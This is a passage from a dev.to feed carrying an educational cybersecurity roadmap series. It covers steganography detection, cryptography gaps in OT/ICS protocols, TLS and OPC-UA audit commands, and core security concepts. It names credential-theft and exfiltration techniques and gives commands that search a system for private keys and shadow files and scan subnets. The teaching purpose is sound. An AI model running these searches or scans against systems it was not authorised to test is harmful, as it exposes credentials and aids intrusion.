    # Calculate expected vs actual distribution
    # In a natural image, LSBs should be ~50% 0, ~50% 1
    # LSB steganography makes it exactly 50% (or different pattern)
    ratio = lsbs.mean()
    print(f"LSB distribution: {ratio:.4f} (natural: ~0.5, suspicious: exactly 0.5)")

    # Chi-square test
    n = lsbs.size
    observed_0 = np.sum(lsbs == 0)
    observed_1 = np.sum(lsbs == 1)
    expected = n / 2
    chi_sq = ((observed_0 - expected)**2 + (observed_1 - expected)**2) / expected
    print(f"Chi-square: {chi_sq:.2f} (low value suggests steganography)")

detect_lsb_stego("photo.jpg")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Steganography's power is deniability — the carrier file appears innocent. Sophisticated APT groups use steganography for C2 because the traffic blends with normal image/media traffic. Defence requires content inspection (not just metadata), statistical analysis of image entropy, and anomaly detection on upload/download patterns. In incident response, always check media files for embedded content.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  14. Cryptography in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  14.1 The Cryptography Gap in OT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;State of cryptography in OT/ICS (2024):

No cryptography at all:
  Modbus TCP: no authentication, no integrity, no confidentiality
  DNP3 (baseline): no cryptography (SAv5 adds authentication)
  PROFIBUS: no cryptography
  BACnet: no cryptography in baseline

Why no cryptography:
  1. Designed in 1970s-1980s before network security was a concern
  2. CPU constraints: embedded PLCs lack processing power for crypto
  3. Latency constraints: crypto processing adds microseconds-milliseconds
     unacceptable for hard real-time control loops
  4. Legacy infrastructure: millions of deployed devices cannot be updated
  5. Vendor lock-in: vendors slow to implement standard crypto

Real consequence:
  Any device on the OT network segment can:
  - Read all sensor values (passive Modbus scan)
  - Write to any register/coil (change setpoints, open/close valves)
  - Replay captured commands (repeat a previous command)
  - Inject false commands (fabricate Modbus function codes)
  With no authentication required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14.2 Where Cryptography Exists in OT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IEC 62351 — Security for IEC 61850 and IEC 60870-5-104:
  62351-3: TLS for MMS, ICCP
  62351-4: Authentication for ICCP
  62351-5: Authentication for DNP3 and IEC 60870-5-101/104
  62351-6: GOOSE and Sampled Values authentication (AES-GMAC)
  62351-8: Role-based access control

  Adoption: low — implementation is complex, vendor support varies

OPC-UA Security:
  OPC-UA has built-in security: authentication, signing, encryption
  MessageSecurityMode: None, Sign, SignAndEncrypt
  Sign: Integrity protection (HMAC)
  SignAndEncrypt: Integrity + Confidentiality (AES-256-CBC)
  Certificates: X.509 certificates for server/client authentication

  This is the correct model for new OT deployments
  OPC-UA adoption growing — replacing older proprietary protocols

WirelessHART / ISA100.11a:
  AES-128 encryption for wireless industrial sensors
  CCM (Counter with CBC-MAC) mode — authenticated encryption
  Key management: join keys, session keys

DNP3 Secure Authentication v5 (SAv5):
  HMAC-based challenge-response authentication
  Prevents command injection for DNP3
  Adoption: some power utilities (NERC CIP drives adoption)

IEC 61850 GOOSE Security (IEC 62351-6):
  GOOSE messages authenticated with AES-GMAC
  Prevents forged protection relay commands
  Deployment: rare — latency constraints challenged
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14.3 TLS in OT Environments
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS deployment challenges in OT:

Certificate management:
  OT devices have long lifespans (10-20 years)
  Annual TLS certificate renewal cycles require:
    - Update process that doesn't interrupt operation
    - Certificate lifecycle management tooling
    - Operator training
  Many OT environments have no process for this

TLS versions on legacy OT:
  Windows CE, Windows XP embedded: support TLS 1.0 only (deprecated)
  Cannot be upgraded without replacing hardware
  Solution: TLS termination proxy (modern TLS toward IT, legacy toward OT device)

Self-signed certificates in OT:
  OT environments often cannot access internet PKI
  Internal CA or self-signed certificates used
  Risk: No validation possible without PKI

TLS for OT communication:
  OPC-UA → TLS 1.2/1.3 for secure machine-to-machine
  Remote access → TLS VPN or TLS-based remote access (not Telnet!)
  Historian → TLS for HTTPS data access from IT

Certificate pinning in OT:
  OT systems can pin specific certificates
  Prevents MITM even with compromised CA
  Requires careful management for certificate rotation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cryptography assessment in OT networks:&lt;/span&gt;

&lt;span class="c"&gt;# Check if OT protocols are running without encryption:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="s1"&gt;'port 502 or port 20000 or port 2404 or port 44818'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# If you see traffic: those protocols running in cleartext&lt;/span&gt;

&lt;span class="c"&gt;# Check if OPC-UA is using TLS:&lt;/span&gt;
&lt;span class="c"&gt;# Port 4840 = OPC-UA (unencrypted baseline)&lt;/span&gt;
&lt;span class="c"&gt;# Port 4843 = OPC-UA with TLS&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 4840,4843 192.168.1.0/24 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Test TLS on industrial historian or HMI:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; historian-server:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Protocol|Cipher|Verify"&lt;/span&gt;
&lt;span class="c"&gt;# Look for TLS 1.0/1.1 (deprecated) or weak cipher suites&lt;/span&gt;

&lt;span class="c"&gt;# Check IEC 62351 GOOSE authentication (wireshark):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: goose&lt;/span&gt;
&lt;span class="c"&gt;# Check if Security Level &amp;gt; 0 in GOOSE PDU&lt;/span&gt;
&lt;span class="c"&gt;# Security Level 0 = no authentication (vulnerable)&lt;/span&gt;

&lt;span class="c"&gt;# Audit OPC-UA security mode:&lt;/span&gt;
&lt;span class="c"&gt;# Using open62541 or other OPC-UA client:&lt;/span&gt;
&lt;span class="c"&gt;# python-opcua:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
try:
    from opcua import Client
    client = Client("opc.tcp://192.168.1.100:4840")
    client.connect()
    # If connected without security: no encryption or authentication
    security_mode = client.get_attribute(1, "SecurityMode")
    print(f"Security Mode: {security_mode}")
    # 1 = None (no security!)
    # 2 = Sign
    # 3 = SignAndEncrypt (correct)
    client.disconnect()
except Exception as e:
    print(f"Connection result: {e}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Attack Relevance&lt;/th&gt;
&lt;th&gt;Key Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Encoding&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Format conversion (Base64, URL, Hex)&lt;/td&gt;
&lt;td&gt;WAF bypass via encoding, credential exposure in Basic Auth&lt;/td&gt;
&lt;td&gt;Decode all input before validation; never confuse with encryption&lt;/td&gt;
&lt;td&gt;OT firmware strings often Base64-encoded in memory dumps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Symmetric Encryption&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same key encrypts and decrypts&lt;/td&gt;
&lt;td&gt;Brute force key, weak cipher (DES/3DES), ECB mode patterns&lt;/td&gt;
&lt;td&gt;AES-256-GCM; never ECB; unique random IV per message&lt;/td&gt;
&lt;td&gt;AES-128-CCM in WirelessHART; OT devices often lack AES-NI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AES&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SPN, 10-14 rounds, 128-bit blocks&lt;/td&gt;
&lt;td&gt;Side-channel (timing, cache); implementation attacks only&lt;/td&gt;
&lt;td&gt;AES-256-GCM standard; hardware AES-NI; protect key material&lt;/td&gt;
&lt;td&gt;AES-128 in WirelessHART; AES-256 for historian data at rest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DES/3DES&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;56-bit/112-bit Feistel; BROKEN&lt;/td&gt;
&lt;td&gt;DES: brute force in minutes; 3DES: SWEET32 birthday attack&lt;/td&gt;
&lt;td&gt;Eliminate; replace with AES-256&lt;/td&gt;
&lt;td&gt;Legacy payment systems in OT; force replacement schedule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RSA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Integer factorisation; public/private keys&lt;/td&gt;
&lt;td&gt;PKCS1v15 padding oracle (ROBOT 2017); short keys (ROCA)&lt;/td&gt;
&lt;td&gt;RSA-2048 minimum; RSA-PSS padding; prefer ECDH&lt;/td&gt;
&lt;td&gt;TLS certificates for OT historian, OPC-UA servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ECC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Elliptic curve discrete log; ECDHE&lt;/td&gt;
&lt;td&gt;Weak curve parameters (NIST distrust); ECDSA k reuse&lt;/td&gt;
&lt;td&gt;Curve25519/P-256; always random k in ECDSA&lt;/td&gt;
&lt;td&gt;OPC-UA certificates; preferred over RSA for constrained devices&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Diffie-Hellman&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;g^ab mod p shared secret without transmitting&lt;/td&gt;
&lt;td&gt;Logjam (512-bit precomputed); discrete log for weak params&lt;/td&gt;
&lt;td&gt;ECDHE; 2048-bit minimum DH; forward secrecy&lt;/td&gt;
&lt;td&gt;ECDHE in OPC-UA TLS; enables forward secrecy for OT sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MD5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;128-bit Merkle-Damgård; BROKEN&lt;/td&gt;
&lt;td&gt;Collision (2009); forged CA cert (Flame 2012)&lt;/td&gt;
&lt;td&gt;SHA-256 minimum; MD5 acceptable only for non-security deduplication&lt;/td&gt;
&lt;td&gt;Legacy OT firmware checksums use MD5; identify and flag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SHA-1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;160-bit; BROKEN&lt;/td&gt;
&lt;td&gt;SHAttered collision (2017, $100K); chosen-prefix 2020&lt;/td&gt;
&lt;td&gt;SHA-256 minimum&lt;/td&gt;
&lt;td&gt;OT firmware updates still using SHA-1; critical finding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SHA-256/SHA-3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;256-bit; SECURE&lt;/td&gt;
&lt;td&gt;No practical attack known&lt;/td&gt;
&lt;td&gt;SHA-256 standard; SHA-3 for diversity&lt;/td&gt;
&lt;td&gt;Use for firmware integrity verification in OT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Salt&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Random per-password value; defeats rainbow tables&lt;/td&gt;
&lt;td&gt;Without salt: precomputed table attack&lt;/td&gt;
&lt;td&gt;16+ byte CSPRNG salt; unique per password; store with hash&lt;/td&gt;
&lt;td&gt;Hash-based authentication tokens in OT systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pepper&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Secret application-level addition to password&lt;/td&gt;
&lt;td&gt;Requires app server compromise in addition to DB breach&lt;/td&gt;
&lt;td&gt;256-bit CSPRNG; store in HSM or config separate from DB&lt;/td&gt;
&lt;td&gt;HMI application authentication secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;bcrypt/Argon2id&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Intentionally slow; work factor&lt;/td&gt;
&lt;td&gt;GPU cracking; requires work to crack even with hash&lt;/td&gt;
&lt;td&gt;Argon2id (time=3, mem=64MB); bcrypt (rounds≥12)&lt;/td&gt;
&lt;td&gt;SCADA operator passwords; HMI authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Digital Signatures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hash + asymmetric sign; auth + integrity + non-repudiation&lt;/td&gt;
&lt;td&gt;Key theft; PS3/Android k reuse; PKCS1v15 forgery&lt;/td&gt;
&lt;td&gt;ECDSA with random k; Ed25519; RSA-PSS&lt;/td&gt;
&lt;td&gt;IEC 62351 signing of GOOSE messages; OTA firmware signing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PKI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Certificate chains; CA trust anchor&lt;/td&gt;
&lt;td&gt;Rogue CA (MD5 collision 2008); misissued certs&lt;/td&gt;
&lt;td&gt;CAA DNS records; CT monitoring; short-lived certs&lt;/td&gt;
&lt;td&gt;OPC-UA PKI; internal CA for OT certificates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Asymmetric key exchange → symmetric data encryption&lt;/td&gt;
&lt;td&gt;Heartbleed, BEAST, POODLE, FREAK, Logjam, ROBOT&lt;/td&gt;
&lt;td&gt;TLS 1.3 minimum; ECDHE only; AEAD ciphers; HSTS&lt;/td&gt;
&lt;td&gt;TLS for OT historian, remote access, OPC-UA; never Telnet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS Handshake&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ClientHello/ServerHello → key exchange → application data&lt;/td&gt;
&lt;td&gt;Downgrade attack; session hijack; MITM (no cert validation)&lt;/td&gt;
&lt;td&gt;Certificate pinning; HSTS; validate full chain; TLS 1.3&lt;/td&gt;
&lt;td&gt;OT remote access must validate server certificates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cryptographic Randomness&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CSPRNG; entropy sources; unpredictable output&lt;/td&gt;
&lt;td&gt;Predictable seed (DUHK 2017); entropy starvation; ECDSA k&lt;/td&gt;
&lt;td&gt;/dev/urandom; secrets module; hardware RNG; haveged for VMs&lt;/td&gt;
&lt;td&gt;First-boot key generation in OT devices; entropy starvation risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Steganography&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hidden data in carrier files&lt;/td&gt;
&lt;td&gt;Data exfiltration; C2 in social media images (Turla APT)&lt;/td&gt;
&lt;td&gt;Content inspection; outbound media analysis; StegExpose&lt;/td&gt;
&lt;td&gt;ICMP tunnel C2 in OT networks; detect with payload analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-2.3-iam.md"&gt;Stage 2.3 — Identity and Access Management&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-2.1-core-concepts.md"&gt;Stage 2.1 — Core Security Concepts&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 2 README&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>programming</category>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
    </item>
    <item>
      <title>Stage 2.1 — Core Security Concepts</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 14 Jun 2026 07:11:05 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-21-core-security-concepts-2cfc</link>
      <guid>https://dev.to/rencberakman/stage-21-core-security-concepts-2cfc</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 2 — Cybersecurity Core&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 2.1 — Core Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1 — Network Fundamentals (all modules)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 2.2 — Cryptography&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Core Concepts Are the Foundation of Every Security Decision&lt;/li&gt;
&lt;li&gt;CIA Triad — Confidentiality, Integrity, Availability&lt;/li&gt;
&lt;li&gt;Authentication — Proving Identity&lt;/li&gt;
&lt;li&gt;Authorization — Granting Permission&lt;/li&gt;
&lt;li&gt;Access Control — Enforcing Decisions&lt;/li&gt;
&lt;li&gt;AAA Model — Authentication, Authorization, Accounting&lt;/li&gt;
&lt;li&gt;Risk, Threat, Vulnerability, Attack — Precise Definitions&lt;/li&gt;
&lt;li&gt;Threat Actor Types&lt;/li&gt;
&lt;li&gt;Attack Surface&lt;/li&gt;
&lt;li&gt;Defence in Depth&lt;/li&gt;
&lt;li&gt;Least Privilege Principle&lt;/li&gt;
&lt;li&gt;Separation of Duties&lt;/li&gt;
&lt;li&gt;Zero Trust Model&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Core Concepts Are the Foundation of Every Security Decision
&lt;/h2&gt;

&lt;p&gt;Security tools change. Vendors come and go. Vulnerabilities are patched. Attack techniques evolve. But the conceptual framework underlying every security decision — why something is secure or insecure, who should have access to what, how trust is established, what constitutes acceptable risk — remains constant. Professionals who understand these concepts at a deep level make better decisions faster, in situations they have never encountered before.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples of how concept failures cause real breaches:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target (2013) — CIA and Least Privilege failure:&lt;/strong&gt; The breach began through an HVAC vendor who had network access for remote monitoring. Proper network segmentation (a CIA-Availability/Integrity control) would have contained vendor access to HVAC systems only. Instead, the vendor's access reached the point-of-sale network. 40 million payment card records were compromised. The CIA triad concept, properly applied, would have mandated isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SolarWinds SUNBURST (2020) — Integrity failure:&lt;/strong&gt; The attackers compromised the SolarWinds build pipeline and inserted malicious code into legitimate, digitally signed software updates. 18,000 organisations installed the malicious update. This was a supply chain integrity attack — the update appeared authentic, was signed with a legitimate certificate, but contained a backdoor. Integrity controls on the build process (code signing with hardware-bound keys, build pipeline monitoring) were insufficient.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Colonial Pipeline (2021) — Availability and Zero Trust failure:&lt;/strong&gt; Ransomware encrypted systems and Colonial shut down pipeline operations proactively. The initial access was via a compromised VPN account with no MFA. A Zero Trust approach would have required MFA, device health verification, and continuous validation — not just "valid credentials = full access." The Availability impact was $4.4 million in ransom and fuel shortages across the US East Coast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS — Stuxnet (2010) — All three CIA pillars targeted:&lt;/strong&gt; Stuxnet attacked Confidentiality (covert operation hidden from operators), Integrity (false data sent to SCADA while centrifuges were physically destroyed), and Availability (centrifuges rendered inoperable). Understanding which CIA pillar an attack targets immediately tells you the appropriate defensive response.&lt;/p&gt;

&lt;p&gt;These were not tool failures. They were conceptual failures — wrong assumptions about trust, access, identity, and risk. This module corrects those assumptions from first principles.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. CIA Triad — Confidentiality, Integrity, Availability
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Framework
&lt;/h3&gt;

&lt;p&gt;The CIA Triad is the foundational model of information security. Every security control, every policy, every architectural decision can be mapped to protecting one or more of its three properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        Confidentiality
             /\
            /  \
           /    \
          /      \
         /________\
  Integrity      Availability

Each property protects a different aspect of information:
  Confidentiality: Who can SEE the information
  Integrity:       Who can CHANGE the information, and whether it has been changed
  Availability:    Whether the information/system can be ACCESSED when needed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Confidentiality
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; Ensuring that information is accessible only to those authorised to access it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First principles:&lt;/strong&gt; Information has value. That value is often reduced or destroyed when it reaches parties who should not have it — competitors, attackers, regulators, the public. Confidentiality controls limit who can access information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mechanisms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Encryption (at rest: disk encryption, at transit: TLS)&lt;/li&gt;
&lt;li&gt;Access controls (authentication + authorisation)&lt;/li&gt;
&lt;li&gt;Physical security (who can reach the hardware)&lt;/li&gt;
&lt;li&gt;Data classification (categorising information by sensitivity)&lt;/li&gt;
&lt;li&gt;Need-to-know principle (access only to what the role requires)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;How confidentiality is attacked:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack methods targeting confidentiality:

Eavesdropping: 
  Wireshark/tcpdump on shared medium
  ARP spoofing + MITM
  Wireless sniffing (WEP cracking, evil twin)

Credential theft:
  Phishing (social engineering for passwords)
  Keylogging (capture as user types)
  Mimikatz (extract from Windows memory)
  Pass-the-hash (use credential hash without knowing plaintext)

Data exfiltration:
  DNS tunnelling (exfiltrate via DNS queries)
  HTTPS C2 (exfiltrate over encrypted channels)
  Cloud storage abuse (upload to Dropbox/Google Drive)
  Physical media (USB drives)

Inference attacks:
  Machine learning on metadata (who communicates with whom)
  Traffic analysis (even encrypted traffic reveals patterns)
  Timing attacks (response time reveals information)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Measuring confidentiality failure:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data classification level of exposed data&lt;/li&gt;
&lt;li&gt;Number of records exposed&lt;/li&gt;
&lt;li&gt;Regulatory exposure (GDPR, HIPAA, PCI-DSS)&lt;/li&gt;
&lt;li&gt;Time data was exposed before detection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS Confidentiality:&lt;/strong&gt;&lt;br&gt;
In OT environments, confidentiality concerns include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Process parameters (setpoints, recipes, formulas) — competitive intelligence&lt;/li&gt;
&lt;li&gt;Control system architecture (network topology, PLC models, firmware versions) — facilitates targeted attacks&lt;/li&gt;
&lt;li&gt;Personnel locations and schedules (safety risk)&lt;/li&gt;
&lt;li&gt;Proprietary industrial processes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, OT prioritises Availability &amp;gt; Integrity &amp;gt; Confidentiality (inverse of typical IT). A confidentiality breach in OT rarely causes immediate physical harm; an availability breach can stop production or cause safety incidents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Testing confidentiality controls:&lt;/span&gt;

&lt;span class="c"&gt;# Check if data is encrypted in transit:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Protocol|Cipher"&lt;/span&gt;
&lt;span class="c"&gt;# If no TLS: confidentiality is unprotected in transit&lt;/span&gt;

&lt;span class="c"&gt;# Check if sensitive files are readable by unauthorised users:&lt;/span&gt;
find /etc /var /opt &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.conf"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.key"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pem"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^-r--------&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^-rw-------"&lt;/span&gt;
&lt;span class="c"&gt;# Files readable by group/other = potential confidentiality failure&lt;/span&gt;

&lt;span class="c"&gt;# Check disk encryption status (Linux):&lt;/span&gt;
lsblk &lt;span class="nt"&gt;-o&lt;/span&gt; NAME,FSTYPE,MOUNTPOINT | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; crypt   &lt;span class="c"&gt;# LUKS volumes&lt;/span&gt;
cryptsetup status /dev/sda                          &lt;span class="c"&gt;# LUKS status&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows BitLocker:&lt;/span&gt;
manage-bde &lt;span class="nt"&gt;-status&lt;/span&gt; C:
&lt;span class="c"&gt;# "Protection Status: Protection On" = confidentiality protected&lt;/span&gt;

&lt;span class="c"&gt;# Find world-readable sensitive files:&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"id_rsa"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.key"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"shadow"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;" root root "&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Integrity
&lt;/h3&gt;

